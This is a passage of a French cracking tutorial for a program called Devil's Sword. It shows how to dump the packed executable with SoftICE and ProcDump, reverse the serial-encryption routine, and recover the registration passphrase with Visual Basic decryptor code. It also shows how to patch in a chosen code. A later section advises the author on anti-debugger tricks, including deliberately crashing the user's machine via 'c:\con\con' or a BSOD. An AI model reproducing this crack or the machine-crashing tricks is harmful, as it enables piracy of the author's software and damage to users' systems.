On trace avec F10 jusqu'a que l'on soit sur la ligne du
JMP 004D2B40..
Si on appuie une fois de plus sur F10 , on saute sur le debut du
programme decrypter , et nous on veut pas ca , mais plutot
faire une boucle infinie en memoire afin de dumper l'executable!
Donc, vous tracez jusqu'au JMP.

Maintenant, tapez :

A {enter} <== pour assembler le code

JMP EIP {enter} <== c'est pour faire une boucle infinie sans avoir à dumper n'importe quoi

{escape}

F5


Maintenant le programme est en train de faire une boucle infinie en mémoire
et on peut le dumper!!!
Ok, exécutez ProcDump et vous voyez dans la liste les tâches en cours.
Clickez sur celle contenant DevilSword.exe. Maintenant bouton droit et choisissez
FULL DUMP. Savez le nouveau EXE avec le nom que vous voulez.
ex: DevilDumped.exe .


Maintenant, cliquez avec le bouton droit comme tout à l'heure mais
choisissez KILL TASK au lieu de FULL DUMP sinon le programme
continuerait sa boucle infinie!

/////////////////////////////////////////////////////////
/Troisième partie: Fixer le point d'entrée du programme!/
/////////////////////////////////////////////////////////


Ok, regardez le nouvel EXE que l'on vient de dumper et vous voyez
que sa taille est plus grande que celle du fichier crypté... bien! :)
Mais attendez! Si vous l'exécutez le prog va crasher comme un salop! :(
l'executable faisait 600 ko, il fait actuellement 2 Mega et quelques!
WOW , la difference de taille hehe ;)


Ok... vous vous souvenez, vous avez noté le OEP (Original Entry Point) sur
un papier, l'addresse ou sautait le JMP :


0177:00588005 6877A16100 PUSH 0061A177
0177:0058800A 6800000000 PUSH 00000000
0177:0058800F E863210900 CALL 0061A177
0177:00588014 E927ABF4FF JMP 004D2B40 <-- lui :)

la valeur est donc 4D2B40.



Dans ce cas, c'était 4D2B40. Ok, exécutez ProcDump PE Editor et changez
le point d'entrée en 0x000D2B40. (OEP - the image base : 4D2B40-400000=D2B40)
Avant le point d'entree etait : 0x00188000...
(n'oubliez pas que ces valeurs sont en Hexadecimal, alors avec la calculette de
windows , mettre vous en mode Scientifique et Base 16 Hexa decimal)


Maintenant, fermez ProcDump, et le programme compacté/crypté
Lancez le fichier decrypté que vous venez de "
reparer" et CA MARCHE!!
Heuresement d'ailleurs et c'est normal :)
Désassemblez-le !! Et oui on voit les String Data References !!! Cool
on peut donc patcher et tout et tout :)

Voila comment faire qd on tombe sur un executable crypté , mais ce n'est pas toujours aussi
simple , c'est pourquoi , je vous invite a lire mes autres cours sur les fichiers
Packés , qui se trouvent sur mon site , dans la partie Unpacking du Millenium Tutorial...
C'est en francais alors n'hesitez pas ;)

Voila , maintenant , vous pouvez patcher des choses dans Devil, et meme cracker
l'enregistrement...Mais vous ne trouvez pas la reference au message d'erreur car le
programmeur l'a surement crypté...
Ca suffit a decourager les petits crackers en herbe que l'on trouve sur caramail..
Tout comme le cryptage des executables...


Mouarf, moi je m'en tape, je me sert de Soft ice !
Donc si vous voulez etudiez la partie Serial d'enregistrement lisez la suite :)
C'est du cryptage , mais pas la meme chose !
Mais l'algo est trop faible pour nous donner du fil a retordre quand on connait l'assembleur...



## II)Reverse Engineer l'algo de cryptage du CODE d'enregistrement ##



Pour cette tache , il faut tracer l'algo et le renverser ;)
Vous allez comprendre ehehe...

Donc lancez le programme Devil et tappez un numero de serie a la con
style: 12345
Pressez CTRL+D pour allez dans soft ice et mettez les breakpoints
sur les API windows utilisés dans le cracking de serial:

BPX GetWindowTextA
BPX GetDlgItemTexta

Mais ici , un BPX me semble plus utile: BPX Hmemcpy
donc mettez juste un break point sur Hmemcpy...
Pressez OK et la vous atterissez sous soft ice a nouveau et vous n'etes
pas dans l'executable mais dans les DLL..
Regardez en bas de la fenetre de Soft ice , vous verrez Kernel ou USER...
Pressez F12 jusqu'a que DEVILSWORD apparaisse ;)
Vous etes desormais dans l'exe alors commencez a tracer avec F10 et vous verrez ceci:



0177:004CFC85 E86AFFF4FF CALL 0041FBF4
0177:004CFC8A 8B9528FEFFFF MOV EDX,[EBP-01D8] <-- on arrive ici et EDX =
location du pass qu'on a entré
0177:004CFC90 8D8D2CFEFFFF LEA ECX,[EBP-01D4]
0177:004CFC96 8BC3 MOV EAX,EBX
0177:004CFC98 E85F040000 CALL 004D00FC
0177:004CFC9D 8B852CFEFFFF MOV EAX,[EBP-01D4]
0177:004CFCA3 BA04004D00 MOV EDX,004D0004
0177:004CFCA8 E80342F3FF CALL 00403EB0
0177:004CFCAD 0F8505030000 JNZ 004CFFB8 <-- si le code est incorrect
jump to mechant cracker
0177:004CFCB3 8D45FC LEA EAX,[EBP-04]
0177:004CFCB6 BA50004D00 MOV EDX,004D0050
0177:004CFCBB E8FC3EF3FF CALL 00403BBC
0177:004CFCC0 8D45FC LEA EAX,[EBP-04]
0177:004CFCC3 BA8C004D00 MOV EDX,004D008C
0177:004CFCC8 E8DB40F3FF CALL 00403DA8
0177:004CFCCD 8B45FC MOV EAX,[EBP-04]
0177:004CFCD0 E807DDF6FF CALL 0043D9DC
0177:004CFCD5 8D9528FEFFFF LEA EDX,[EBP-01D8]
0177:004CFCDB A1FC504D00 MOV EAX,[004D50FC]
0177:004CFCE0 8B00 MOV EAX,[EAX]
0177:004CFCE2 8B80DC010000 MOV EAX,[EAX+000001DC]
0177:004CFCE8 E807FFF4FF CALL 0041FBF4

.............

Note:

0177:004CFC8A 8B9528FEFFFF MOV EDX,[EBP-01D8]

Si on passe cette ligne et que l'on tape: D edx on voit dans DATA le code "
12345".


Donc voila ce que l'on voit...
J'espere que vous comprenez l'assembleur ;)
Mais bon ce code est clair comme de l'eau de roche et ressemble beaucoup a du code
compilé en Delphi... Borland aussi..
Sur ce , si on trace un petit peu on tombe sur la partie de cryptage:


0177:004D0118 688B014D00 PUSH 004D018B
0177:004D011D 64FF30 PUSH DWORD PTR FS:[EAX]
0177:004D0120 648920 MOV FS:[EAX],ESP
0177:004D0123 8D45F8 LEA EAX,[EBP-08]
0177:004D0126 E8F939F3FF CALL 00403B24
0177:004D012B 8B45FC MOV EAX,[EBP-04]
0177:004D012E E86D3CF3FF CALL 00403DA0
0177:004D0133 8BF0 MOV ESI,EAX ; ESI = EAX = longeur du
; code que l'on a entré
0177:004D0135 85F6 TEST ESI,ESI
0177:004D0137 7E2D JLE 004D0166
0177:004D0139 BB01000000 MOV EBX,00000001 ; Initialise EBX a 1
; (index de boucle)
0177:004D013E 8D45F4 LEA EAX,[EBP-0C]
0177:004D0141 8B55FC MOV EDX,[EBP-04] ; EDX = mot de passe
entré
0177:004D0144 0FB6541AFF MOVZX EDX,BYTE PTR [EBX+EDX-01] ; il prends la valeur
; ascii du caractere
; en position EBX (1 au debut)

0177:004D0149 03D3 ADD EDX,EBX ; Additionne la valeur ascii
; avec la position du caractere

0177:004D014B 7105 JNO 004D0152 ; si pas d'overflow saute a
; 4D0152
0177:004D014D E8C22DF3FF CALL 00402F14 ; sinon appelle de 402F14
0177:004D0152 E8713BF3FF CALL 00403CC8
0177:004D0157 8B55F4 MOV EDX,[EBP-0C]
0177:004D015A 8D45F8 LEA EAX,[EBP-08]
0177:004D015D E8463CF3FF CALL 00403DA8
0177:004D0162 43 INC EBX ; Incremente EBX (index de
; boucle)
0177:004D0163 4E DEC ESI ; decremente ESI (longeur du
; code Tapé)
0177:004D0164 75D8 JNZ 004D013E ; si c'est pas egale à 0 on
; continue la boucle
0177:004D0166 8BC7 MOV EAX,EDI
0177:004D0168 8B55F8 MOV EDX,[EBP-08]
0177:004D016B E84C3AF3FF CALL

  
00403BBC
0177:004D0170 33C0 XOR EAX,EAX
0177:004D0172 5A POP EDX
0177:004D0173 59 POP ECX
0177:004D0174 59 POP ECX
0177:004D0175 648910 MOV FS:[EAX],EDX
0177:004D0178 6892014D00 PUSH 004D0192
0177:004D017D 8D45F4 LEA EAX,[EBP-0C]
0177:004D0180 BA03000000 MOV EDX,00000003
0177:004D0185 E8BE39F3FF CALL 00403B48
0177:004D018A C3 RET



Pour ce qui ne comprene pas bien l'assembleur, cette boucle prends la valeur ascii du caractere
a la position de la boucle et l'additione avec cette position.
Cela donne cela pour "12345" :

longeur du code tapé : 5 (12345 fait 5 chiffres)

postion du caractere: 1
valeur ascii = 31h
addition de cette valeur avec la position = 31h + 1h = 32h
32h est la valeur ascii en hexadecimal de "2"...
Le code devient "22345"

On a pas encore fait tout les caracteres , alors on continue:


postion du caractere: 2
valeur ascii = 32h
addition de cette valeur avec la position = 32h + 2h = 34h
34h est la valeur ascii en hexadecimal de "4"...
Le code devient "24345"



On a pas encore fait tout les caracteres , alors on continue:


postion du caractere: 3
valeur ascii = 33h
addition de cette valeur avec la position = 33h + 3h = 36h
36h est la valeur ascii en hexadecimal de "6"...
Le code devient "24645"



On a pas encore fait tout les caracteres , alors on continue:


postion du caractere: 4
valeur ascii = 34h
addition de cette valeur avec la position = 34h + 4h = 38h
38h est la valeur ascii en hexadecimal de "8"...
Le code devient "24685"




Dernier caractere:


postion du caractere: 5
valeur ascii = 35h
addition de cette valeur avec la position = 35h + 5h = 3Ah
3Ah est la valeur ascii en hexadecimal de ":"...
Le code devient "2468:"


notre code entré "12345" devient donc "2468:"


Pour vous aidez a comprendre encore plus, voici un programme qui execute la meme chose
mais ecris en Visual Basic , car c'est un langage simple et connu ! :


////////////////////////////////////////////////

On Error Resume Next
code = Text1.Text
For i = 1 To Len(code)

temp = Asc(Mid(code, i, 1))
temp = temp + i
temp2 = temp2 & Chr(temp)
Next i


Text2.Text = temp2
'// text2.text = Code crypté

////////////////////////////////////////////////


Code = le code entré dans text1.text
et text2.text = le resultat du cryptage...
Ce programme execute exactement la meme chose que Devil sword pour crypter sauf que Devil gere
l'overflow alors que mon prog non , c pour ca que j'ai mis "On error resume next" qui veut dire
que si il y a une erreur , il continue le programme , sans afficher de message d'erreur et
terminer l'application.


Revenons a la protection elle meme :)


0177:004CFCA8 E80342F3FF CALL 00403EB0
0177:004CFCAD 0F8505030000 JNZ 004CFFB8 <-- si le code est incorrect jump
to mechant cracker
0177:004CFCB3 8D45FC LEA EAX,[EBP-04]
0177:004CFCB6 BA50004D00 MOV EDX,004D0050
0177:004CFCBB E8FC3EF3FF CALL 00403BBC


Apres le cryptage, le code compare notre Code Crypté avec une constante ( cryptée elle aussi).
Si les deux chaines sont identiques , alors on a entré le BON Code et le programme est
enregistré sinon on a le message d'erreur..

Bon la , on a 4 solutions :


- solution de lamer: on patch le saut conditionel et le test au demarage.


- solution BruteForce: On modifie le programme en son propre brute Forcer pour qu'il essai tout
les CODES possibles.Efficaces , mais trop trop long et pas intelligent vu la
pauvreté de l'algo..

- Solution decrypage1 : On modifie le programme pour qu'il decrypte la constante crypté en
inversant l'algo en memoire directement...


- solution decryptage2: On programme un decrypteur qui fait tout le boulot :-)



On va s'occuper que des deux dernieres solutions car elles sont plus reflechis et ce sont les
plus rapides ( et aussi les moins lames...)


###########################################################################

Solution Decryptage 1:

###########################################################################

On prend le code assembleur et on le modifie. C'est a dire que l'on va reprogrammez l'algo.
Mais tout d'abord , comment renverser l'algo ? simple....

On entre le code "12345" et on obtient "2468:"
pour cela il additionne la valeur ascii du caractere a sa position!
Donc pour decrypter on a juste a prendre la valeur ascii du caractere crypte et soustraire sa
position pour retrouver le CODE decrypter ;)
Comme tout a l'heure voila l'exemple complet du decryptage cette fois ci:



longeur du code tapé : 5 (2468: fait 5 caracteres)

postion du caractere: 1
valeur ascii = 32h
soustraction de la position a la valeur ascii = 32h - 1h = 31h
31h est la valeur ascii en hexadecimal de "1"...
Le code devient "1468:"

On a pas encore fait tout les caracteres , alors on continue:




postion du caractere: 2
valeur ascii = 34h
soustraction de la position a la valeur ascii = 34h - 2h = 32h
32h est la valeur ascii en hexadecimal de "2"...
Le code devient "1268:"

On a pas encore fait tout les caracteres , alors on continue:



postion du caractere: 3
valeur ascii = 36h
soustraction de la position a la valeur ascii = 36h - 3h = 33h
33h est la valeur ascii en hexadecimal de "3"...
Le code devient "1238:"

On a pas encore fait tout les caracteres , alors on continue:




postion du caractere: 4
valeur ascii = 38h
soustraction de la position a la valeur ascii = 38h - 4h = 34h
34h est la valeur ascii en hexadecimal de "4"...
Le code devient "1234:"


Dernier caractere:


postion du caractere: 5
valeur ascii = 3Ah
addition de cette valeur avec la position = 3Ah - 5h = 35h
35h est la valeur ascii en hexadecimal de "5"...
Le code devient "12345"


notre code crypté "2468:" devient donc notre code entré non crypté "12345"


Voila un exemple qui montre comment marche l'algo.
Pour savoir a quoi ressemble la chaine crypté , il faut entrer dans le call juste apres
qui est precede par un jnz:



0177:004CFCA3 BA04004D00 MOV EDX,004D0004
0177:004CFCA8 E80342F3FF CALL 00403EB0 <-- On entre dans ce call la pour
la comparaison
0177:004CFCAD 0F8505030000 JNZ 004CFFB8 <-- si le code est incorrect jump
to mechant cracker
0177:004CFCB3 8D45FC LEA EAX,[EBP-04]


dans le call on voit ceci:


0177:00403EB0 53 PUSH EBX
0177:00403EB1 56 PUSH ESI
0177:00403EB2 57 PUSH EDI
0177:00403EB3 89C6 MOV ESI,EAX
0177:00403EB5 89D7 MOV EDI,EDX
0177:00403EB7 39D0 CMP EAX,EDX <-- EAX = code entré crypté et EDX =
chaine crypté constante
0177:00403EB9 0F848F000000 JZ 00403F4E <-- Si c'est egale alors le CODE est
valide sinon CODE erroné!
0177:00403EBF 85F6 TEST ESI,ESI
0177:00403EC1 7468 JZ 00403F2B
0177:00403EC3 85FF TEST EDI,EDI


EAX contient notre code tapé mais crypté

EDX contient: 4D0004

si on fait: d 4D0004 pour afficher le contenu de l'addresse et donc voir la chaine cryptée
constante, on voit ceci:

Mc#fïzp{n*oq-Qt‚…s|‚ˆ6„?z€‘Š„@B˜’E––‘—žK•›—œ‘˜›¡•—¢œ¥ž¨¯\„°€¶†

Voila la constante Cryptée !
Elle est donc a l'addresse 4D0004... et elle fait 65 caracteres

J'avais donné le source code en assembleur du cryptage, voila ce qu'il devient
pour faire son role de decrypteur:


0177:004D0133 MOV ESI,41h ; ESI = longeur du code a decrypté = 65 en
; decimal
0177:004D0135 TEST ESI,ESI ; et 41 en hexa decimal (longeur de la
; constante)
0177:004D0137 JLE 004D0166
0177:004D0139 MOV EBX,00000001 ; Initialise EBX a 1 (index de boucle)
0177:004D013E LEA EAX,[EBP-0C]
0177:004D0141 MOV EDX, 4D0004 ; EDX = adresse de la constante
0177:004D0144 MOVZX EDX,BYTE PTR [EBX+EDX-01] ; il prends la valeur ascii du
; caractere en position EBX (1 au debut)

0177:004D0149 SUB EDX,EBX ; soustrait la position du caractere a la
; valeur ascii

0177:004D014B JNO 004D0152 ; si pas d'overflow saute a 4D0152
0177:004D014D CALL 00402F14 ; sinon appelle de 402F14
0177:004D0152 CALL 00403CC8
0177:004D0157 MOV EDX,[EBP-0C]
0177:004D015A LEA EAX,[EBP-08]
0177:004D015D CALL 00403DA8
0177:004D0162 INC EBX ; Incremente EBX (index de boucle)
0177:004D0163 DEC ESI ; decremente ESI (longeur du code Tapé)
0177:004D0164 JNZ 004D013E ; si c'est pas egale à 0 on continue la boucle


Pour modifier les instuctions en assembleur sous soft ice , il faut taper A et "enter".


Voila ce que devient le code en assembleur pour decrypter ;)
On a modifié :

- l'addresse de la chaine a s'occuper en l'addresse de la constante
- le nombre de caractere de la constante a la place de la longeur du code entré
- on soustrait a la place d'additioner
- voila ca suffit non ? :-)


Ensuite on trace jusqu'au call de comparaison et a la ligne de CMP EAX, EDX
EAX contient le CODE valide a entrer pour Enregistrer Devil sword.
EDX contient toujours la chaine crypté constante...

Vous notez le Code qui est une phrase et vous fermez Devil pour le relancer!
On veut une version non patché! en memoire on touvait le code suivant:

La bêtise de Certains m'affuble à un point inimaginablement GrAvE

C'est donc le code a entrer ! :-)
Facile non ? :^)



###########################################################################

Solution Decryptage 2:

###########################################################################



La il s'agit de programmer son propre decrypteur ;)
C'est simple il suffit de programmer ce que fait l'algo de cryptage mais a l'envers
comme expliquer un peu plus haut!
On a juste besoin de la chaine Cryptée qui est constante!
Mais comme vous avez surement remarque la chaine est constitué de carectere non tapable au
clavier.
Comment la recuperer alors ?
2 solutions!

- on dumpe la location memoire de la chaine (le plus rapide)
- on recupere les valeurs ascii en hexa decimal et on les reecris avec un editeur hexadecimal
dans un fichier texte pour faire du copier coller ensuite :)


je vais juste parler de la premiere solution, c'est a dire dumper la location memoire.

On va se servir de Qdump pour cette tache !
Voila comment il marche:

QDump.exe <Name of window> <address> <length> <filename>


Name of window c'est ce qu'il y a ecris dans le caption de la fenetre.
Address c'est l'addresse ou va commencer le dumpe.
Length c'est la longeur en hexadecimal de byte a dumper.
Filename c'est le fichier qui contiendra le resultat


Donc ici sa donnera:

QDump.exe "Devil's Sword" 4D0004 200 c:\code1.txt


cela donne ca comme resultat:

Mc#fïzp{n*oq-Qt‚…s|‚ˆ6„?z€‘Š„@B˜’E––‘—žK•›—œ‘˜›¡•—¢œ¥ž¨¯\„°€¶† ÿÿÿÿ1
Redémarrer Devil's Sword pour que les nouvelles ÿÿÿÿ fonctionnalités soit activées !
ÿÿÿÿ DevilSword.ini ÿÿÿÿ/ Faîtes un peu attention à ce que vous entrez...


on a pas besoin de tout ca , mais en decryptant on se rend compte que la veritable constante
cryptée est:
Mc#fïzp{n*oq-Qt‚…s|‚ˆ6„?z€‘Š„@B˜’E––‘—žK•›—œ‘˜›¡•—¢œ¥ž¨¯\„°€¶†


Voila , on a plus qu'a programmer le decrypteur!
Encore une fois ,voici le source code en Visual basic car c'est un langage simple est
facilement portable..




//////////////////////////////////////////////////////////////////////////////////////////

codecrypted = "Mc#fïzp{n*oq-Qt‚…s|‚ˆ6„?z€‘Š„@B˜’E––‘—žK•›—œ‘˜›¡•—¢œ¥ž¨¯\„°€¶†"

For i = 1 To Len(codecrypted)
temp = Asc(Mid(codecrypted, i, 1))
temp = temp - i
If temp < 0 Then temp = 224 ' pour ne pas planter du a l'overflow.

temp2 = temp2 & Chr(temp)
Next i

Text4.Text = temp2 ' affiche le Code decrypter dans text4.text

///////////////////////////////////////////////////////////////////////////////////////////


ici on voit que j'ai mis une condition pour eviter que le programme ne crash...
En fait, si la position du caractere est plus grande que la valeur ascii alors le
programme ne poura pas afficher la valeur ascii resultant de la soustraction.
Les valeurs ascii sont toujours postives.
Pour eviter le probleme , j'ai mis que si la valeur est inferieur à 0 alors
il affiche le caractere ascii "à".
j'aurais tres bien pu coder ce qu'il faut pour eviter ce probleme, mais ce n'est
pas vraiment necessaire...


Qd on lance ce programme apres avoir collé le code si dessus dans une application VB
contenant un text4.text et un bouton sous lequel on met ce code, on obtient le resultat
suivant:


La bêtise de Certains m'affuble à un point inimaginablement GrAvE


Wow ;) c'est notre code hehe..
bon voila , comment il fallait faire pour cracker ce code.
TRES TRES simple en fait, c'est plus long a ecrire qu'a faire.

Remarque:

Il est tres facile de changer le code par son propre code ;)
En effet, si vous avez une phrase de meme longeur (pour simplifier la chose)
vous la crypter grace a mon programme en VB et vous prenez les valeurs ascii en hexadecimal
et les rentrez a la place des ancienes valeur ascii de la constante cryptée avec un editeur
hexadecimal et vous sauvegardez le fichier...
Ensuite si vous le lancez et que vous entrez le code non crypté il vous dira que c'est le
bon code :-)
Vous pouvez donc modifier ce programme comme bon vous semble et ensuite le recrypter avec
un packer de meilleur qualité que celui utilisé par l'auteur pour recuperer la taille
de 600 ko du depart !
Car 2 mega ca fait lourd non ? :)
Bon maintenant , je vais donner quelques conseils aux programmer de ce super client
qui me plait beaucoup...


#######################################################################
#######################################################################
## ##
## III)Comment mieux securiser se programme et source code a l'appui ##
## ##
#######################################################################
#######################################################################


Bon voila la partie qui interressera surement le plus le programmeur de super client...
Comment securiser efficacement son programme pour eviter que les crackers un peu plus
experimente que ceux de caramail le crack...

(note: aucune protection n'est infaible, ca depends souvent du temps que l'on passe
dessus sois pour la programmer , sois pour la deplomber...)

Elle sera surement inneficace contre des crackers qui ont des heures de vol dans le cracking ;)
Mais calmera surement des tonnes de ptit crackers...
Je l'essairais juste pour le fun mais etant donné mon experience dans la matiere ya de grande
chance pour que je parvienne a cracker la nouvelle protection sans trop de problemes (c'est pas
de la vantardise mais juste pour ne pas donner de fausse iddées aux programmeurs...)

C'est partie :




######################################################

1 - Il faut choisir un meilleur Crypteur d'executable.

######################################################





En effet , comme vous avez surement pu le constater le decryptage de l'executable
est un jeu d'enfant...
Il faut utiliser un packer qui donne du fil a retordre au cracker , qui ne soit
pas decryptable par procdump et qui donne quelques taches a faire sur le PE.
c'est a dire realigner les sections , ajuster l'import table...
Je conseil meme de crypter plusieurs fois l'executable et meme d'utiliser 2 packers
differents...
De renommer le nom des sections en autre choses pour ne pas donner d'indices sur le packer.
ET de virer la signature du packer.
Quand on edite en hexa decimal on voit souvent:

UPX X.XX ou ASPACK....

C'est la signature du packer , ici on voit bien que les packers utilises sont UPX ou bien
ASPACK...
Une idée serait de changer la signateur en un autre packer connu pour embrouiller...

UPX et ASPACK 2000 sont trop simples a unpacker..
Quoi que ascpack2000 posent pas mal de problemes aux newbies cracker, il peut etre util car il
compresse beaucoup..
L'utilisation d'une des dernieres versions d'armadillo peut etre utiles aussi...
J'ai pas regarder les dernieres versions , mais les premieres etaient tres interressantes à
decrypter..
Et largement suffisent pour casser les petits reversers...

PEshield, PEcrypt sont pas trop mal aussi.. PElocknt est un des packers que je n'ai jamais
reussi a unpacker..
Le code est completement chelou ;-)
voila l'auteur n'a plus qu'a s'amuser :)
un petit coup de Pelocknt peut s'averer tres efficace :)




####################################################

2 - Il faut utiliser des protections anti Soft ice..

####################################################




Comment ?!
Il faut programmer une ou plusieurs detections de soft ice afin d'empecher l'utilisation du
programme en presence du debuggeur...
Il faut saovoir qu'il existe des programmes qui permettent de rendre soft ice indetectable mais
il y a toujours moyen de le detecter ;-)

Tout d'abord voici 2 methodes tres répendus qui seront efficace contre les crackers wannabes ;)


*************
*************
* Melt ice: *
*************
*************



La méthode utilisée pour détecter Soft-ice est la suivante:
il utilise l'API createfilea "afin de détecter le VXD" !
Désolé, je ne sais pas trop comment expliquer:
il peut détecter Soft-ice avec: SICE, SIWVID pour win9x et NTICE pour winNT


BOOL IsSoftIce95Loaded()
{
HANDLE hFile;
hFile = CreateFile( "\\\\.\\SICE", GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if( hFile != INVALID_HANDLE_VALUE )
{
CloseHandle(hFile);
return TRUE;
}
return FALSE;
}



Sachant que borland c++ ressemble a delphi voici 1 exemple en Delphi de comment programmer ca:


*********************************************************************************
procedure DetectICE;
var ACiD:Thandle;
s,s2:string;

begin

s:='\' + '\' + '.' + '\' + 'S' + 'I' + 'C' + 'E';
s2:='\\.\SICE';
if s <> s2 then begin ShowMessage('il est interdit de patcher'); ExitProcess(0); end ;
ACiD:=CreateFileA(PChar(s2),GENERIC_READ or GENERIC_WRITE,FILE_SHARE_READ
or FILE_SHARE_WRITE,nil,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0);
if ACiD <> INVALID_HANDLE_VALUE then begin ShowMessage('Veuillez dechargez le
debuggeur svp!'); ExitProcess(0); end ;

s:='\' + '\' + '.' + '\' + 'N' + 'T' + 'I' + 'C' + 'E';
s2:='\\.\NTICE';
if s <> s2 then begin ShowMessage('il est interdit de patcher'); ExitProcess(0); end ;
ACiD:=CreateFileA(PChar(s2),GENERIC_READ or GENERIC_WRITE,FILE_SHARE_READ
or FILE_SHARE_WRITE,nil,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0);
if( ACiD <> INVALID_HANDLE_VALUE ) then begin ShowMessage('Veuillez dechargez le debuggeur
svp!'); ExitProcess(0); end;

end;

******************************************************************************


Donc , ici j'ai rajouté un control sur le string '\\.SICE' qui permet de controler si un petit
malin n'a pas modifier avec un editeur hexa decimal cette partie et donc ca annulerais la
detection...
Si quelqu'un patch, le programme envoi un message et se ferme automatiquement...

On peut aussi bien planter la machine apres un certain nombre d'essai en ecrivant une valeur
dans la base de registre...
A chaque fois que le debuggeur est chargé, il controle le nombre, et si il est deja a son
maximum, on appel une sous routine qui plante le PC , sinon on incremente la valeur et on
quite..
Pour planter le PC on peut utiliser le bug : "C:\con\con" c'est a dire que l'on execute ce
fichier la...

En visual basic: shell "c:\con\con\",vbHide

Sinon quelques ligne en ASM permettent un BSOD (blue screen of death) ou meme le freeze complet
de la machine.


**************************
**************************
* détection par INT 68h: *
**************************
**************************


mov ah,43h
int 68h
cmp ax,0F386h
jz Soft_ice_est_la_:P


Voilà à quoi ressemble le monstre ;P


Un petit exemple de programmation en Delphi :

*****************************************************************************************

procedure INT68;
label Ure_Good_Guy;
label I_Got_You;

Begin

asm
mov ah,43h
int 68h
cmp ax,0f386h
jz I_Got_You
jmp Ure_Good_Guy

end;

I_Got_You:
showmessage('Soft-ice est chargé!!');

Ure_Good_Guy:
// Gentil lol pas de Soft-ice (ou je me suis fait cracker *g*)

end;

end.

******************************************************************************************


Biensur dans ces deux exemples , j'ai mis un texte comme quoi soft ice est chargé, mais c'est
pour montré à l'auteur ou se passé le code qui suit la detection de soft ice...
Il est plus que recommandé de ne rien mettre comme message car le message facilite le travail
du cracker.
A la rigeur un message mais Crypté, mais qui n'appel pas les API MessageBoxa car sinon le
cryptage n'est d'aucune utilité lol :)


Maintenant voici une idée de detection de soft ice:

Tout le monde (enfin presque .....) connait la commande MsDos "MEM".
elle permet d'afficher des informations sur la memoire.
on met /C pour voir toute les infos donc si je tape "MEM /C" a l'heure actuelle on voit:

------------------------------------------------------------------------------

Modules utilisant la mémoire sous 1 Mo:

Nom Total Conventionnel Mémoire haute
-------- ---------------- ---------------- ----------------
MSDOS 20 320 (20K) 20 320 (20K) 0 (0K)
GSCDROM 26 016 (25K) 26 016 (25K) 0 (0K)
CDROM 21 648 (21K) 21 648 (21K) 0 (0K)
DISPLAY 18 064 (18K) 18 064 (18K) 0 (0K)
HIMEM 1 120 (1K) 1 120 (1K) 0 (0K)
DBLBUFF 2 976 (3K) 2 976 (3K) 0 (0K)
IFSHLP 2 864 (3K) 2 864 (3K) 0 (0K)
win 3 936 (4K) 3 936 (4K) 0 (0K)
KEYB 6 944 (7K) 6 944 (7K) 0 (0K)
WINICE 13 520 (13K) 13 520 (13K) 0 (0K)
vmm32 5 504 (5K) 5 504 (5K) 0 (0K)
COMMAND 7 536 (7K) 7 536 (7K) 0 (0K)
-------- 80 (0K) 80 (0K) 0 (0K)
LIBRE 524 592 (512K) 524 592 (512K) 0 (0K)

Résumé mémoire :

Type de mémoire Totale Utilisée Libre
---------------- ----------- ----------- -----------
Conventionnelle 651 264 126 672 524 592
Supérieure 0 0 0
Réservée 0 0 0
étendue (XMS) 65 994 752 2 002 944 63 991 808
---------------- ----------- ----------- -----------
Mémoire totale 66 646 016 2 129 616 64 516 400

Total inférieur 651 264 126 672 524 592

Totale Paginée (EMS) 64 700 416 (62M)
Mémoire libre paginée (EMS) 16 777 216 (16M)
Taille maximale du programme exécutable 524 576 (512K)
Taille max. de la mémoire supérieure libre 0 (0K)
MS-DOS réside en mémoire haute (HMA).


------------------------------------------------------------------------------



Okie, donc la dans la liste des noms on voit bien le petit: WINICE.
Cela veut bien dire que soft ice est chargé en memoire non ?:)


La maneuvre pour detecter soft ice c'est d'executer MEM mais d'envoyer le resultat dans un
ficher..
Comme tout les utilisateurs de DOS le savent , on peut faire ca de la maniere suivante:
fichier.exe ou com >fichier.txt

Donc ici cela donne par exemple: MEM /C>c:\windows\system\detect.txt

Donc , cette commande ecrira le resultat de la commande "MEM /C" dans le fichier "detect.txt"
lui meme placé dans le repertoire windows\system (c'est quand meme moin flague que la racine
du disque dur non ? )
si la commande vous donne un erreur 2 ou 4 il faut créer un fichier bat et ensuite l'executer..
Bon ca c'est tres simple...

Ensuite vous avez plus qu'a effectuer une recherche dans le fichier "detect.txt" et cherchez le
mot "WINICE" dedans..
Si le mot est presant alors soft ice est chargée!!! on ferme le programme.
Sinon soft ice est pas la , donc on lance notre application...

Vous avez plus qu'a automatiser ces taches et vous avez une detection de soft ice qui n'est pas
encore reconnu a ce jour ;)


####################################################

3) Utiliser un algo beaucoup plus puissant!

####################################################


Bon comme vous l'avez vu , l'algo de ce programme est vraiment faible...
Ce qui peut etre interressant c'est d'ecrire un algorithme qui sois ireversable...
Comme le DES, MD5...
Je m'explique, pour cracker l'algo je l'ai tout simplement renverser c'est a dire que a la
place des additons , j'ai mis des soustractions...
Il faut utiliser des operateurs qui ne sois pas renversable, ou sinon une suite d'operateur qui
fasse que l'on ne puisse pas retrouver la chaine non cryptée de depart a partir du resultat
obtenu (resultat cryptée).
Le programme pour verifiez si le code est bon n'a qu'a crypter ce que l'on entre et comparer
avec la constante cryptée dans le programme.Si les deux sont identiques le CODE est bon sinon
perdu...
Ce qui est chiant c'est que celon l'algo different CODE entré peuvent avoir le meme resultat
crypté donc on doit rajouter des controles sur la longueur du CODE , la somme des valeurs
ascii..


Ca sert a quoi me direz vous ?

Ben tout simplement que la seule facon de casser ce code est de coder un brute forcer pour
essayer toute les possibilites jusqu'a trouver le bon CODE...
C'est Tres long !!
Deja, il faut reprogrammer le crypteur dans un language rapide : Assembleur ou c++ ( l'asm
est bcp plus rapide que le C++)
et de mettre une fonction qui essai tout les chiffres , caracteres ...
On n'a plus qu'a laisser tourner lol :=)
Bon , si c'est mal implementer on peut cracker ca plus rapidement..

je rappel que les XOR sont renversables:

X xor X = 0
A xor B = C
A xor C = B
B xor C = A


L'utilisatisation des puissances et des modulos est tres interressants dans ce type de cryptage.

Sinon , on peut faire un algo qui calcul un CODE en fonction de la chaine entrée et verifie si
le Code est bon en comparant le CODE obtenu par le calcul avec la CODE du bon mot de passe...
Cette fois si, ce n'est pas vraiment du cryptage mais juste des calculs...
Je vous conseil de faire un algo long est penible pour le cracker...
